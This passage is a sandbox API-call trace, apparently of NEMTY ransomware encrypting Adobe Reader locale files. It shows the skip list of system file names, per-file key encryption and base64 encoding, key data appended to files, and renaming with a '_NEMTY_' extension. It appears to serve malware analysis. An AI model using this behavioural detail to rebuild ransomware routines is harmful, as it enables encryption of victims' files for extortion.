lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.601] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Reflow.RUM", cAlternateFileName="")) returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2=".") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="..") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="...") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="windows") returned -1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="rsa") returned -1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="NTDETECT.COM") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="ntldr") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="MSDOS.SYS") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="IO.SYS") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="boot.ini") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="boot.ini") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="ntuser.dat") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="desktop.ini") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="CONFIG.SYS") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="RECYCLER") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="bootmgr") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="programdata") returned 1 [0182.601] lstrcmpiW (lpString1="Reflow.RUM", lpString2="appdata") returned 1 [0182.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUM", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUM", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUM", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUM", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.602] Sleep (dwMilliseconds=0x5) [0182.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x207de470, dwHighDateTime=0x1d561e8)) [0182.612] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x207de470, dwHighDateTime=0x1d561e8)) [0182.612] GetLastError () returned 0x0 [0182.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.612] GetLastError () returned 0x0 [0182.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.612] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.612] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.612] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.612] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="pBzIHkJ9gf7Sc5mBRecV0IYnfeB0JuiCGMOK/iQufZYXrdh4yo62HRgm4gy6M/hR\r\n1o4z8aKlYcOssBJTq7t7KlhcAH+0cNvAon9mo+FVeWY/w/XYx0zDGgnVw9xtrX9B\r\nj3AfnD43PrUWjdW61KfMciXB/vvpjIRmv5ZiYMluCz/d5wFtNjnjDu3M+aIkC3iG\r\nDEZriDYaEYcFyk2oqngZfAGoB4jp2rSQ7QXqyhB3nAWov258nTgW/HK8b1k3zQTZ\r\nHTUrmyd/4OWvmJp9P4XOMe6jvErotvkoJP6TaLNrhv+z1mFFFX9gEnDk8TLtjv48\r\nBqZjRJ2r/7G3au+jht15Lw==\r\n", pcchString=0x653e5dc) returned 1 [0182.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.612] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Reflow.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\reflow.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.613] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0182.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0182.613] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.613] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0182.615] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.615] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0182.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.615] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0182.615] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.616] CloseHandle (hObject=0x2e8) returned 1 [0182.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0182.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.616] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Reflow.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\reflow.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Reflow.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\reflow.rum._nemty_kgobjgd_")) returned 1 [0182.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0182.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.617] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.RUM", cAlternateFileName="SAVEAS~1.RUM")) returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2=".") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="..") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="...") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="windows") returned -1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="rsa") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="NTDETECT.COM") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="ntldr") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="MSDOS.SYS") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="IO.SYS") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="boot.ini") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="boot.ini") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="ntuser.dat") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="desktop.ini") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="CONFIG.SYS") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="RECYCLER") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="bootmgr") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="programdata") returned 1 [0182.617] lstrcmpiW (lpString1="SaveAsRTF.RUM", lpString2="appdata") returned 1 [0182.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUM", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.RUM", lpUsedDefaultChar=0x0) returned 13 [0182.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUM", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.RUM", lpUsedDefaultChar=0x0) returned 13 [0182.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUM", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.RUM", lpUsedDefaultChar=0x0) returned 13 [0182.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUM", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.RUM", lpUsedDefaultChar=0x0) returned 13 [0182.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.618] Sleep (dwMilliseconds=0x5) [0182.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x208045d0, dwHighDateTime=0x1d561e8)) [0182.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x208045d0, dwHighDateTime=0x1d561e8)) [0182.627] GetLastError () returned 0x0 [0182.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.627] GetLastError () returned 0x0 [0182.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.627] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.627] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.627] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.627] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="pl/oiNUMb0WitdInuMmgoipCHe37wtpMPVI2xb+C74auxkOSgNGUek5IN2/EmGcg\r\ndX2Fd4mGHj/cVAssg9W3RH4ZWHUFnPDxCewxGa0Z/0QItLoYtWelegMu+YWCVhmX\r\nJmcJiytK81WX8oANeYKsmPF/z+nR3tBpKIJtQ0YnidI3z7e35kkVSHNsBPoPicSF\r\nnHLVdwOf/QF9EeCOgegmuahJ+lrgtYiQ4AngNroFy5/j25EEVgXHM4HSBws7ARyt\r\nKOwlq9Dku1oqeLmnz0E/WIirbrmVSnqb3IcXCdKB2OHRdpII4wFbL5THyluQpHoJ\r\na4M0GHlKH2q8HiDH5TG6Hg==\r\n", pcchString=0x653e5dc) returned 1 [0182.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.628] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\SaveAsRTF.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\saveasrtf.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.628] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0182.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0182.628] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.628] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0182.631] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.631] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0182.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.631] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0182.631] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.631] CloseHandle (hObject=0x2e8) returned 1 [0182.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.631] HeapFree (in: hHeap=0x4f90000, 